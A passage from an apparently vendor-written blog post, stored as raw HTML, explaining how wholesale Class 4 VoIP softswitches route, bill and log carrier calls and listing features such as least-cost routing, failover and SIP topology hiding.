class 4 switches were dominating the wholesale VoIP business. However, with the cloud technology gaining popularity, software switches started replacing their hardware counterparts. Also known as <a href=\"https:\/\/www.revesoft.com\/blog\/softswitch\/differences-between-class-4-softswitch-and-class-5-softswitch\/\">Wholesale Class 4 Softswitch<\/a>, it is a solution used by service providers who deal in the wholesale VoIP business model. The basic function of a <em>wholesale softswitch<\/em> is to allow the transfer of traffic between carriers over long distances. This type of softswitch generally handles routing of large call volumes.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"How_Does_a_Wholesale_Softswitch_Work\"><\/span><strong>How Does a Wholesale Softswitch Work?\u00a0<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3970\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/12\/working-of-wholesale-softswitch.jpg\" alt=\"working of wholesale softswitch\" width=\"1200\" height=\"350\" \/><\/p>\n<p>Let\u2019s take a look at the step-by-step procedure of how a wholesale softswitch works:<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Call_Initiation\"><\/span><strong>Call Initiation <\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>The first step of the process is the origination of the call. This is done by a customer or a subscriber from the origination network. For instance, a customer makes a call using his mobile phone using one carrier\u2019s network.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Call_Routing_Request\"><\/span><strong>Call Routing Request<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>For this initiated call, a call routing request is sent to the wholesale softswitch by the origination network. Along with this request, information about the call such as the destination phone number, origination phone number, etc., is shared.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Database_Lookups\"><\/span><strong>Database Lookups<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Upon receiving the call routing request, the wholesale softswitch performs database lookups to identify and select the best route for the call. The selection criteria include consideration of several parameters such as the quality of service, the cost, and agreements with other carriers.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Carrier_Interconnection\"><\/span><strong>Carrier Interconnection <\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Upon lookup, if the softswitch finds that the call needs to be routed through a different carrier, then it first establishes a connection with the appropriate carrier. This is done either by establishing a direct physical connection or an IP-based connection via the Internet.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Call_Routing\"><\/span><strong>Call Routing <\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Then the call gets routed via the selected carrier which involves the usage of VoIP and other telecom protocols so that the call is transmitted over the network.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Interconnect_Billing\"><\/span><strong>Interconnect Billing <\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>The wholesale softswitch maintains a record of details related to the call such as the call duration. This type of information is important for billing and settlement between carriers.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Call_Termination_Completion\"><\/span><strong>Call Termination &amp; Completion <\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>The call reaches the recipient\u2019s network which is called the destination or termination network. This network routes the call to the intended recipient which indicates the completion of the call. Here, the transmission of voice data happens between the point of origination and termination.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Call_Logging_and_Reporting\"><\/span><strong>Call Logging and Reporting <\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>The wholesale softswitch logs important details related to the call such as the duration.

In the event of failure of a route or server, traffic or calls are routed to backup servers and paths.<\/li>\n<li>Softswitches ensure efficient resource utilization by balancing call traffic across multiple servers and thus preventing overload on any single server.<\/li>\n<\/ul>\n<h3><span class=\"ez-toc-section\" id=\"Enhanced_Security\"><\/span><strong>Enhanced Security<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Wholesale softswitches ensure the security of VoIP communication by the following means:<\/p>\n<ul>\n<li>By supporting encryption protocols that help in securing data transmitted during the calls.<\/li>\n<li>Softswitches come with fraud detection mechanisms for monitoring any kind of abnormal behavior thus helping in detecting and preventing fraudulent activities.<\/li>\n<li>Implementation of robust access control measures is another way through which softswitches secure access to a network.<\/li>\n<\/ul>\n<h3><span class=\"ez-toc-section\" id=\"Support_for_Various_VoIP_Protocols\"><\/span><strong>Support for Various VoIP Protocols\u00a0 <\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Versatility is a key feature of the softswitches as they support various VoIP protocols:<\/p>\n<ul>\n<li>Softswitches support SIP i.e. Session Initiation Protocol thus offering compatibility with different SIP devices and applications.<\/li>\n<li>Codec Flexibility is yet another way through which softswitches allow VoIP providers to choose a suitable option among the various audio codecs and ensure optimal call quality.<\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"Key_Features_of_Wholesale_VoIP_Softswitch\"><\/span><strong>Key Features of Wholesale VoIP Softswitch<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Some of the key features supported by a wholesale softswitch are as mentioned below:<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Integrated_Billing_system\"><\/span><strong>Integrated Billing system<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>A wholesale softswitch without an integrated billing system can cause trouble and mess. Using a separate billing software may arise lots of issues like incompatibility, improper functionality, etc. A wholesale softswitch should have features like real-time billing and multi-currency support.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Efficient_Routing\"><\/span><strong>Efficient Routing<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>A softswitch capable of implementing different types of routing can generate maximum profits. Least Cost routing (LCR) is quite important as it helps the switch to detect the outbound line that costs the least. Further, Percentage Routing ensures that the softswitch will transmit the call through a route that has the highest percentage and in case it is not available, then it chooses the next highest percentage.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Secure_Functioning\"><\/span><strong>Secure Functioning<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>SIP Topology hiding is an advantageous feature from a security point of view. It is easy for hackers to get into any SIP network if they get access to IP address data sent into the SIP traffic. Topology hiding prevents outsiders i.e. hackers or attackers from stealing the IP address data and thus secures the network.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Reporting\"><\/span><strong>Reporting<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Generating reports is one key feature that helps in tracking performance of the business and making decisions for its growth.
